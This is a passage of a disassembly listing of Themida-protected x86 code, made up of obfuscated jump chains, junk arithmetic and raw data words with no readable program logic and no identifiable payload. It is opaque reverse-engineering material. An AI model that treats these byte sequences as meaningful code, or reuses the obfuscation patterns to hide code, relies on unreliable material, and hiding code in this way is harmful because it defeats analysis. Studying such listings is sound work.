		mov	ebx, 15012699h
		and	esi, ebx
		pop	ebx
		sub	esi, 0FFFFFFFFh
		xor	esi, 0E7C5AFE3h
		jmp	loc_545110
; ---------------------------------------------------------------------------
		dd 4C481h, 0EC830000h, 240C8904h, 2783BD55h, 0E5812BD2h
		dd 4580C32h, 0E5C1D5F7h, 1ED8306h, 0FFB498E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C9C9:				; CODE XREF: Themida_:0054DFEBj
		mov	ebx, ecx
		pop	ecx
		mov	esi, ebx
		jmp	loc_5466F4
; ---------------------------------------------------------------------------
aFlS		db 'f‹$$é´!',0
		align 4
		dd 0C65CB005h, 0E52D5B59h, 0E949A023h, 0FFFFF468h
; ---------------------------------------------------------------------------

loc_54C9EC:				; CODE XREF: Themida_:0054FB17j
		pop	ecx

loc_54C9ED:				; CODE XREF: Themida_:00549104j
					; Themida_:loc_549648j
		push	2D76h
		mov	[esp], ebx
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 4
		add	edi, eax
		jmp	loc_54607F
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC812434h, 4, 51242489h, 4B9h, 246C8100h, 9A6EFC04h
		dd 0C920E96Fh, 6856FFFFh, 7A23h, 944E9h, 4EC8100h, 89000000h
		dd 8FBF243Ch, 0C132FE1Dh, 0B95105EFh, 6555190Dh, 7F51F181h
		dd 0CF09153Bh, 7EFC159h, 28E9EFD1h, 68000005h, 67F4h, 68243489h
		dd 55DEh, 0B9240C89h, 1D8E0E7Eh, 3159CE89h, 0D8315EF3h
		dd 53241C8Bh, 241C8B54h, 81E78957h, 4C7h, 0E900h, 0C7830000h
		dd 243C8704h, 0F7C9E95Ch, 0EC81FFFFh, 2, 242C8966h, 0FF7DBBE9h
		dd 814F5CFFh, 7F23E4EFh, 0ECCBE9CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CABA:				; CODE XREF: Themida_:00549678j
		mov	esi, esp
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		shr	ecx, 2
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_547CF1
; ---------------------------------------------------------------------------
		db 68h,	0D9h, 79h
		dd 0EDE90000h, 0FFFFFF7Eh, 34FF2434h, 24048B24h, 8304C483h
		dd 9AE904ECh, 5AFFFFB5h, 8B243487h, 14892424h, 0E99C5024h
		dd 0FFFF7512h
; ---------------------------------------------------------------------------

loc_54CB10:				; CODE XREF: Themida_:0054AEFBj
		add	esi, ecx
		pop	ecx
		or	ecx, esi
		pop	esi
		add	ecx, 58AB0BFAh
		add	ecx, 0A8F57467h
		jmp	loc_546F56
; ---------------------------------------------------------------------------
		db 49h
		dd 0F181D9F7h, 9000CB27h, 8359C801h, 8EE904C0h,	89FFFFDEh
		dd 0E389241Ch, 4C381h, 68550000h, 4, 0FF8701E9h, 0A68FFh
		dd 34FF0000h, 240C8B24h, 8304C483h, 8FE904ECh
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CB67:				; CODE XREF: Themida_:00546006j
		add	esp, 4
		jmp	loc_5471F0
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 2B924h, 4BE90000h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CB7F:				; CODE XREF: Themida_:0054959Dj
		mov	[esp], ebx
		jmp	loc_549F5B
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 5B5A241Ch, 0FF7481E9h
		dd 2434FFFFh, 0FFEB72E9h, 0E9E828FFh, 1F40h, 66E6D166h
		dd 4FD0EE81h, 0F3896653h, 0DA896652h, 0E9D18966h, 0FFFF9367h
		dd 0D324248Bh, 0E99C240Ch, 0FFFF744Eh, 0B951D001h, 23E57555h
		dd 0C8BC801h, 4C48124h,	5A000000h, 8904EC83h, 4BF243Ch
		dd 0E9000000h, 13F8h, 70A768h, 48F5400h, 24048324h, 24048F04h
		dd 0B3168h, 24348900h, 70EE9h, 0E8E95200h, 100002Ah, 243C8BFAh
		dd 4C481h, 76E90000h, 89000020h, 0B95AE9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CC32:				; CODE XREF: Themida_:0054D7ECj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ebx
		jmp	loc_546E96
; ---------------------------------------------------------------------------
		dw 0F888h
		dd 0FFAA0AE9h, 243C89FFh, 189E9h, 2C890400h, 0FF4FE96Bh
		dd 895DFFFFh, 2434FFDFh, 4C4835Bh, 8105EFC1h, 0CDDA1FEFh
		dd 8BFA01E9h, 0EC81243Ch, 4, 0E9242C89h, 2B79h,	5B5A0289h
		dd 8324048Bh, 5F5904C4h, 0FF7F95E9h, 8009B3FFh,	0C3FEFFC3h
		dd 0F66EF380h, 0A9EB80D3h, 0E95BDE88h, 0FFFFE99Bh
; ---------------------------------------------------------------------------

loc_54CCA8:				; CODE XREF: Themida_:00548D27j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_544022
; ---------------------------------------------------------------------------
		dw 242Dh
		dd 890AC604h, 0C51CE9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CCC2:				; CODE XREF: Themida_:005472F5j
		push	47DBh
		mov	[esp], ecx
		push	eax
		push	77D4ABAh
		pop	eax
		mov	ecx, eax
		pop	eax
		inc	ecx
		jmp	loc_54A071
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 0A0CE8105h, 684F9C1Fh, 6ADBh, 56240C89h, 766D16BEh
		dd 498AB901h, 9EE90654h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54CCFB:				; CODE XREF: Themida_:005451A6j
		pop	esi
		add	esp, 4

loc_54CCFF:				; CODE XREF: Themida_:0054ACF0j
		push	ebx
		push	dword ptr [esp]
		jmp	loc_548D2C
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0FFB6ADE9h, 4C781FFh, 0E9000000h,	0FFFFC8AAh
		dd 0BD555954h, 4, 0C4E9E901h, 1FFFFB2h,	1AE958C7h, 5000000Fh
		dd 0E40FE3B8h, 0E9F6E923h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CD3E:				; CODE XREF: Themida_:0054A073j
		push	ebp
		push	eax
		mov	eax, 0
		push	eax
		add	dword ptr [esp], 49111061h
		jmp	loc_54B231
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 2EA5E9h
		db 0
; ---------------------------------------------------------------------------

loc_54CD5D:				; CODE XREF: Themida_:0054C805j
		pop	ebp
		push	3AFDh
		mov	[esp], edi
		jmp	loc_54600B
; ---------------------------------------------------------------------------

loc_54CD6B:				; CODE XREF: Themida_:0054DA8Cj
		and	eax, edi
		pop	edi
		or	edx, eax
		jmp	loc_54BF35
; ---------------------------------------------------------------------------

loc_54CD75:				; CODE XREF: Themida_:00548895j
		add	[esp+4], ebx
		pop	ebx
		jmp	loc_546D11
; ---------------------------------------------------------------------------
		db 83h
		dd 44E904C0h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CD87:				; CODE XREF: Themida_:00549DA0j
		mov	[esp], esi
		push	73F836B9h
		pop	esi
		add	esi, 8C07C948h
		mov	ecx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_545F29
; ---------------------------------------------------------------------------
		dw 303h
		dd 34FF595Bh, 89575A24h, 16B850E7h, 40504B65h, 52E9D0F7h
		dd 0FFFFFFBAh, 589D1C77h, 9C240419h, 0FF7255E9h, 685057FFh
		dd 19F618D5h, 0B29AE958h, 4BFFFFFh, 1000000h, 0E6E95FFBh
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CDE7:				; CODE XREF: Themida_:0054E98Bj
		pop	ecx
		pop	edi
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp]
		jmp	loc_54C109
; ---------------------------------------------------------------------------

loc_54CDFA:				; CODE XREF: Themida_:0054C230j
		mov	ecx, [esp]
		jmp	loc_54BF94
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 8BF3E924h, 0F101FFFFh, 0FFDF02E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54CE11:				; CODE XREF: Themida_:0054436Fj
		mov	ebx, 34BA1AF0h
		add	ebx, ecx
		jmp	loc_547D09
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 53000000h, 0FFB197E9h, 0CF015DFFh, 3286E953h, 8B660000h
		dd 9D68240Ch, 89000041h, 0EC83242Ch, 24248904h,	0FFAAFEE9h
		dd 4C481FFh, 0E9000000h, 0FFFFC525h, 0BA241489h, 36CA5BDAh
		dd 0FFEB32E9h, 240489FFh, 4B8h,	7EECE900h, 248BFFFFh, 9340E924h
		dd 0C283FFFFh, 24143304h, 33241431h, 685C2414h,	41F2h
		dd 0B5240C89h, 0ED686688h, 0C896608h, 24548624h, 30D2F601h
		dd 32012454h, 0E9012454h, 0FFFFBA04h, 56595451h, 4B92B850h
		dd 92E96639h, 0F000021h, 34FFC0B6h, 7160E987h, 8B59FFFFh
		dd 0C4812414h, 4, 0A053E956h, 0C281FFFFh, 4, 229FBD55h
		dd 0C58169DFh, 9620DD65h, 875DEA29h, 895C2414h,	0B652240Ch
		dd 5AF188C3h, 0C828972Ch, 0C8B9704h, 0E9545524h, 0FFFFE4FAh
		dd 5C24048Fh, 83241C89h, 48904ECh, 67836824h, 3C890000h
		dd 4EC8324h, 0E9243489h, 16E3h,	50241489h, 7304B951h, 0C8890463h
		dd 76503559h, 0D0F705E2h, 4D37B105h, 8BC2894Dh,	89522404h
		dd 4C281E2h, 83000000h,	0AE904C2h, 0BBFFFF87h, 92F62C3h
		dd 4244481h, 4DFB32D3h,	4245C01h, 4246C81h, 4DFB32D3h
		dd 0C32D585Bh, 5F092F62h, 88BF801h, 0E924048Bh,	0FFFFA2BAh
		dd 64E9EFD1h, 8100001Ah, 0DA1866EFh, 5FFA2961h,	0FFD154E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54CF95:				; CODE XREF: Themida_:00548E66j
		xchg	edx, [esp]
		pop	esp
		sub	edx, 4A897951h
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_54D599
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 93BD5504h, 0C154CC6Ah, 0F58108E5h, 6F9F5585h, 0BA52D5F7h
		dd 162342D8h, 15B1C281h, 0CA817EB5h, 54E92095h,	501CE281h
		dd 0F2815010h, 4F306D3Bh, 25A2E9h, 0C8B6600h, 95AAE924h
		dd 2966FFFFh, 2C685BD8h, 89000025h, 6866242Ch, 0BCE97BB4h
		dd 57FFFFC1h, 29EE9h
		db 0
; ---------------------------------------------------------------------------

loc_54D005:				; CODE XREF: Themida_:00544D9Dj
		pop	esp
		jmp	loc_54A7C6
; ---------------------------------------------------------------------------
		db 89h
		dd 0A3BF57E1h, 8174592Dh, 0A6D261C7h, 0F8D2E98Bh, 0E955FFFFh
		dd 0FFFFF814h
; ---------------------------------------------------------------------------

loc_54D024:				; CODE XREF: Themida_:00547034j
		pop	esp
		imul	cl
		movzx	cx, ah
		push	small 64BBh
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_5448DB
; ---------------------------------------------------------------------------

loc_54D03C:				; CODE XREF: Themida_:0054BCD2j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54D824
; ---------------------------------------------------------------------------

loc_54D04A:				; CODE XREF: Themida_:00548E04j
		mov	esi, 74C17A6h
		add	esi, 5D343225h
		xor	eax, esi
		pop	esi
		xor	eax, 56DA5C98h
		xor	edx, eax
		mov	eax, [esp]
		add	esp, 4
		and	ecx, edx
		jmp	loc_54FF81
; ---------------------------------------------------------------------------

loc_54D06C:				; CODE XREF: Themida_:00547A10j
		not	eax
		neg	eax
		add	eax, 0FFFFFFFFh
		xor	eax, 64AD622Fh
		jmp	loc_5484BF
; ---------------------------------------------------------------------------

loc_54D07D:				; CODE XREF: Themida_:005480EDj
		inc	esi
		not	esi
		xor	esi, 41773810h
		jmp	loc_54A5B7
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0A668241Ch, 8900004Ch, 0E389241Ch, 4C381h, 51560000h
		dd 6A3FE568h, 8345E937h, 0C681FFFFh, 414219ACh,	3D5FEE81h
		dd 0E959007Ch, 0FFFF7352h, 0D387D2F7h, 0B822EB81h, 0C2816D0Ch
		dd 22181ADCh, 0EA81DA01h, 22181ADCh, 6F48E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D0DA:				; CODE XREF: Themida_:00549C69j
		mov	cl, ah
		jmp	loc_549C89
; ---------------------------------------------------------------------------

loc_54D0E1:				; CODE XREF: Themida_:0054C64Fj
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_548D58
; ---------------------------------------------------------------------------
		db 81h
		dd 0FDDD4BC7h, 5FFE8958h, 15EF101h, 0ED8359CDh,	242C8702h
		dd 489665Ch, 6F14E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D10E:				; CODE XREF: Themida_:0054BDC2j
		sub	esi, 7C2A7855h
		push	ecx
		mov	ecx, 378A3786h
		neg	ecx
		push	5DAAh
		mov	[esp], ebx
		push	edi
		mov	edi, 613D7FDCh
		mov	ebx, edi
		pop	edi
		sub	ecx, ebx
		pop	ebx
		and	ecx, 3BBA49B5h
		push	eax
		mov	eax, 54512D7Ah
		xor	eax, 64E566A5h
		sub	ecx, eax
		pop	eax
		add	esi, ecx
		pop	ecx
		add	eax, 77261AB4h
		sub	eax, 35536572h
		sub	eax, esi
		add	eax, 35536572h
		sub	eax, 77261AB4h
		jmp	loc_547F08
; ---------------------------------------------------------------------------

loc_54D162:				; CODE XREF: Themida_:0054C3EBj
		mov	esi, 0A0607FBh
		xor	edx, esi
		pop	esi
		add	ebp, edx
		jmp	loc_54D195
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 0E9h
		dd 513h, 4C481h, 0C3010000h, 8324048Bh,	95E904C4h, 0BD000023h
		dd 45EB5541h, 0FFCFFDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D195:				; CODE XREF: Themida_:0054D16Cj
		pop	edx
		jmp	loc_54FB36
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483240Ch, 8BBD5504h, 0E9692829h, 0FFFF89F7h
; ---------------------------------------------------------------------------

loc_54D1AC:				; CODE XREF: Themida_:0054B238j
		pop	eax
		jmp	loc_54F8D7
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 8704EF83h, 0E8E9243Ch, 0E9FFFFF1h, 0FFFF6E5Ah, 0AA36E943h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D1CE:				; CODE XREF: Themida_:005483E0j
		not	dword ptr [esp]
		mov	edx, [esp]
		push	ebp
		push	esp
		pop	ebp
		push	eax
		jmp	loc_54E60D
; ---------------------------------------------------------------------------

loc_54D1DD:				; CODE XREF: Themida_:0054BB1Dj
		add	esp, 4
		jmp	loc_547EFD
; ---------------------------------------------------------------------------
		db 5Bh,	8Bh, 14h
		dd 7E1AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D1EE:				; CODE XREF: Themida_:00547530j
		mov	ch, 34h
		add	bl, 0C1h
		add	bl, ch
		jmp	loc_54B95C
; ---------------------------------------------------------------------------
		dw 575Bh
		dd 0A35C9CBFh, 94F78126h, 8107E206h, 697E7DE7h,	0F9EF814Eh
		dd 0D17D807Fh, 5F781EFh, 141606Dh, 0FF525FFAh, 0FF042474h
		dd 66E92434h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D22B:				; CODE XREF: Themida_:005460A2j
		add	ebp, 244003EBh
		sub	ebp, 680E7682h
		jmp	loc_548DA4
; ---------------------------------------------------------------------------

loc_54D23C:				; CODE XREF: Themida_:00544CACj
		add	esp, 4
		jmp	loc_5495BC
; ---------------------------------------------------------------------------
aM0Hc3		db 'Ź0Řh—3',0
		align 4
		dd 1C61E9h, 5646800h, 3C890000h, 81E78924h, 4C7h, 2BB5300h
		dd 1000000h, 0E9565BDFh, 0FFFFF4CBh, 29EF814Fh,	31093D04h
		dd 0F6815FFEh, 0C7BCA9D0h, 0E2E9F301h
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_548AFC
; ---------------------------------------------------------------------------
		db 89h
		dd 7BD242Ch, 8103D605h,	0F40DE2F5h, 2E95031h, 56FFFF76h
		dd 1E6CBD55h, 0C5816723h, 3977277Bh, 0FFCD89E9h, 0C98141FFh
		dd 48001117h, 0B850D1F7h, 6C2D3483h, 0A54EE0Dh,	1C08312h
		dd 0E605980Dh, 0F7E8D117h, 8F7035D0h, 0C129CFEDh, 52C38158h
		dd 16AC51Fh, 52EB81CBh,	596AC51Fh, 8904EC83h, 0AE68241Ch
		dd 0E906F131h, 0FFFFBAEFh, 54242C89h, 81242C8Bh, 4C4h
		dd 4C58100h, 51000000h,	0FFBC41E9h, 24248BFFh, 24048B66h
		dd 0B4E95456h, 5700001Bh, 151DBFBFh, 0C0BB5365h, 0E97E737Ah
		dd 458h, 5D902D66h, 6B580566h, 66E82966h, 666B582Dh, 5D5D9005h
		dd 0FFCD0DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D34D:				; CODE XREF: Themida_:00545B82j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54AB9C
; ---------------------------------------------------------------------------

loc_54D358:				; CODE XREF: Themida_:0054BEDFj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_545185
; ---------------------------------------------------------------------------
		db 59h
		dd 4EC81h, 14890000h, 4EC8324h,	0FF94E0E9h, 242489FFh
		dd 7E98E956h, 0D5F7FFFFh, 0D1E3F581h, 0C381C839h, 3602F82h
		dd 0FF8FB0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D395:				; CODE XREF: Themida_:0054D952j
		xor	[esp+4], edx
		push	dword ptr [esp]
		pop	edx
		push	esi
		mov	esi, esp
		push	ecx
		jmp	loc_548768
; ---------------------------------------------------------------------------
		dw 0FB29h
		dd 0ACE055Fh, 0D80179CFh, 36EBBB53h, 0CB811439h, 66500910h
		dd 0E566E94Bh, 0C681FFFFh, 0C8B2AD2Ch, 525EF789h, 7757D7BAh
		dd 8BD73175h, 0C4812414h, 4, 0FFD75DE9h, 0B36DBAFFh, 0D1298428h
		dd 107BE9h, 0A1CE8100h,	813FAD53h, 0FB6B40CEh, 14DBE922h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D3FE:				; CODE XREF: Themida_:00546083j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_54F832
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFFE410h, 48BC529h, 0D9D4E924h, 2B68FFFFh,	5F585F5Fh
		dd 0F1DCE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D426:				; CODE XREF: Themida_:0054923Bj
		add	esp, 4
		sub	esi, edi
		push	edi
		jmp	loc_54AB04
; ---------------------------------------------------------------------------
		dd 66E8285Ah, 83240C8Bh, 1C8B02C4h, 1A8BE924h, 83560000h
		dd 0C0E904ECh, 0B6FFFFCBh, 66F52831h, 53DDF65Ah, 0B55113B7h
		dd 0A9EEE916h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D462:				; CODE XREF: Themida_:00547EB4j
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	bl, al
		jmp	loc_54A0C6
; ---------------------------------------------------------------------------
		db 5Ah,	53h, 0FFh
		dd 5B042474h, 0E924048Fh, 0FFFF86ABh, 4C281h, 0C2810000h
		dd 4, 5C241487h, 9C1BF181h, 0CB296B64h,	70FCE959h, 0D735FFFFh
		dd 4868297Bh, 2452E9h, 19A5BD00h, 0C5815D32h, 6B0E56A9h
		dd 1E58ED81h, 0DFE97F5Ch, 0F7FFFFE0h, 2AD0E9D9h, 815B0000h
		dd 2C1h, 74FF5100h, 34FF0424h, 54535924h, 83241C8Bh, 0C38104C4h
		dd 4, 8704C383h, 8F5C241Ch, 248B2404h, 48B6624h, 68D56824h
		dd 1C890000h, 0E95B5424h, 0FFFF9F11h, 0FE40B050h, 0EBE0E9C0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D522:				; CODE XREF: Themida_:0054ED70j
		xchg	ebp, [esp]
		jmp	loc_54B2B4
; ---------------------------------------------------------------------------
		dw 8B54h
		dd 0C4832414h, 0B9515704h, 3E90412h, 0E981D9F7h, 11113545h
		dd 8102E9C1h, 0BD2405C9h, 8962E932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D54E:				; CODE XREF: Themida_:00546282j
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	edx
		jmp	loc_54A078
; ---------------------------------------------------------------------------
		db 0FEh, 0C3h, 88h
aSz		db 'Řé§',9,0
		align 2
		db 'h×-',0
		dw 8900h
		dd 0BE56243Ch, 0B0E2DE8h, 0FFC36EE9h, 4ECC0FFh,	8138C480h
		dd 4ECh, 241C8900h, 22BFE9h
		db 0
; ---------------------------------------------------------------------------

loc_54D599:				; CODE XREF: Themida_:0054CFA5j
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_54F87B
; ---------------------------------------------------------------------------
		dw 0D389h
		dd 5A2434FFh, 8104C483h, 8A042444h, 290EA165h, 5604245Ch
		dd 8904EC83h, 0CBB241Ch, 0BE55171Eh, 0B98A477Eh, 0FFDCB6E9h
		dd 0B5EB81FFh, 5527C335h, 75756CBDh, 1F6E6874h,	3C890000h
		dd 2352BF24h, 0F7814D1Ah, 3AA96BE7h, 0F781DFF7h, 95EBA953h
		dd 0AEE9FB01h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D603:				; CODE XREF: Themida_:005493ACj
		shr	ecx, 0Bh
		push	14E4h
		mov	[esp], ebx
		push	ebp
		mov	ebp, 7C053457h
		sub	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5476C5
; ---------------------------------------------------------------------------
		dw 5451h
		dd 83240C8Bh, 0C18104C4h, 4, 0FF8972E9h, 0E9D789FFh, 0FFFF9A71h
		dd 0F4C58145h, 505D02F9h, 0C289E889h, 0F9E95D58h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D657:				; CODE XREF: Themida_:00545DD5j
		add	ebp, 4
		jmp	loc_54D8CC
; ---------------------------------------------------------------------------

loc_54D662:				; CODE XREF: Themida_:00549C8Dj
		mov	ecx, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_544022
; ---------------------------------------------------------------------------
aBCsi		db 'ÁÖ^šCé›',7,0
		db 0
; ---------------------------------------------------------------------------

loc_54D679:				; CODE XREF: Themida_:0054F396j
		and	[esp], ax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0DCE92434h, 55FFFFFCh, 621B4CBDh, 68CD810Fh,	0E933895Eh
		dd 0FFFFE071h, 4CB868h,	9352E900h, 0F029FFFFh, 0EFA6E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D6AE:				; CODE XREF: Themida_:0055001Cj
		pop	esp
		and	eax, esi
		jmp	loc_54ACD6
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 54240C89h, 592434FFh, 0FFB9F0E9h,	242C89FFh, 0B850E589h
		dd 4, 5058C501h, 70BF68h, 24348900h, 0FFE220E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D6E5:				; CODE XREF: Themida_:00544DF9j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_544022
; ---------------------------------------------------------------------------
		dw 8068h
		dd 5E2CA275h, 34FFF721h, 16E95E24h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D707:				; CODE XREF: Themida_:005469B0j
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		mov	edx, 689734B5h
		neg	edx
		or	edx, 354C488Bh
		xor	edx, 6F1F02F0h
		and	edx, 686348B2h
		jmp	loc_549CB1
; ---------------------------------------------------------------------------

loc_54D742:				; CODE XREF: Themida_:0054BC05j
		xor	ebx, 5E8F6D19h
		push	ecx
		jmp	loc_54E440
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 380865D1h, 0FFA036E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D759:				; CODE XREF: Themida_:0054E620j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		xchg	eax, edx
		jmp	loc_549DEA
; ---------------------------------------------------------------------------
		db 25h,	0FAh, 5Ch
		dd 0B9513A88h, 20B850DDh, 0FFE0E8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D779:				; CODE XREF: Themida_:0054F618j
		add	ch, 0A6h
		xor	al, ch
		mov	ecx, [esp]
		add	esp, 4
		sub	bl, 0EEh
		jmp	loc_544A63
; ---------------------------------------------------------------------------
		dd 2BEEB81h, 0E381793Dh, 4CF2162Ch, 5EB814Bh, 0E9581573h
		dd 0FFFFC345h
; ---------------------------------------------------------------------------

loc_54D7A4:				; CODE XREF: Themida_:00548E34j
		not	edx
		xor	edx, 61C207E3h
		not	edx
		jmp	loc_54F982
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9592434h, 0FFFFAF67h, 0CADEE95Dh, 0CA21FFFFh, 0FFF9D2E9h
		dd 24248BFFh, 0FF8D70E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D7D1:				; CODE XREF: Themida_:0054B2C6j
		mov	[esp], ecx
		mov	ecx, 4
		mov	edx, ecx
		pop	ecx
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_547468
; ---------------------------------------------------------------------------

loc_54D7E9:				; CODE XREF: Themida_:00545A92j
		xor	[ecx], esi
		pop	ecx
		jmp	loc_54CC32
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 2414895Ch, 0FF6825E9h, 240400FFh, 23DBE99Ch,	0E5C10000h
		dd 56F58105h, 109A537h,	0F613E9EFh, 0CE89FFFFh,	0A4EF8159h
		dd 0E9054437h, 0FFFF8111h
; ---------------------------------------------------------------------------

loc_54D824:				; CODE XREF: Themida_:0054D045j
		push	4F42h
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_5492FC
; ---------------------------------------------------------------------------

loc_54D833:				; CODE XREF: Themida_:0054AD4Aj
		mov	ecx, 4
		mov	ebx, ecx
		pop	ecx
		sub	ebp, 72B21804h
		add	ebp, ebx
		add	ebp, 72B21804h
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		movsx	ecx, ax
		push	5C2Eh
		jmp	loc_5469B5
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 62E95F24h, 58FFFF83h, 0C281DA01h, 56C952BBh,	4EC815Bh
		dd 0E9000000h, 0FFFFD882h
; ---------------------------------------------------------------------------

loc_54D88C:				; CODE XREF: Themida_:0054FFB9j
		push	edx
		mov	edx, 7D5362Fh
		sub	edx, 7D5362Bh
		add	ebx, edx
		jmp	loc_54EAFF
; ---------------------------------------------------------------------------
aQpj4st		db '¸QPJ4é’%',0
		dd 1AA32500h, 1B350F43h, 2D6CD659h, 34ACEEB9h, 0B858C789h
		dd 353DDD78h, 0FF9EE5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D8C5:				; CODE XREF: Themida_:005467ECj
		add	esi, edx
		jmp	loc_549238
; ---------------------------------------------------------------------------

loc_54D8CC:				; CODE XREF: Themida_:0054D65Dj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_547F2B
; ---------------------------------------------------------------------------
		db 81h
		dd 602526EFh, 0FB8953D7h, 71B068h, 241C8900h, 0D507E959h
		dd 34FFFFFFh, 24048B24h, 4C481h, 0C4830000h, 243C8704h
		dd 241C895Ch, 91E9C389h, 0FFFFFFA3h, 0BE94077h,	5DFFFF67h
		dd 8704C083h, 685C2404h, 2A85h,	68241C89h, 118F76C6h, 0E9241C8Bh
		dd 1C69h, 0E959CF29h, 0FFFF6FF0h, 6824048Bh, 3C90h, 0FFF9B3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D949:				; CODE XREF: Themida_:00544175j
		mov	[esp], edx
		push	2783738Dh
		pop	edx
		jmp	loc_54D395
; ---------------------------------------------------------------------------
		db 5Bh
		dd 205h, 24043300h, 33240431h, 0B4E92404h, 0ACFFFFE5h
		dd 0E5E95366h
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D973:				; CODE XREF: Themida_:0054A12Cj
		add	esp, 4
		add	edi, 4
		jmp	loc_5468AC
; ---------------------------------------------------------------------------
		dd 0C05DE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D98A:				; CODE XREF: Themida_:0054E23Bj
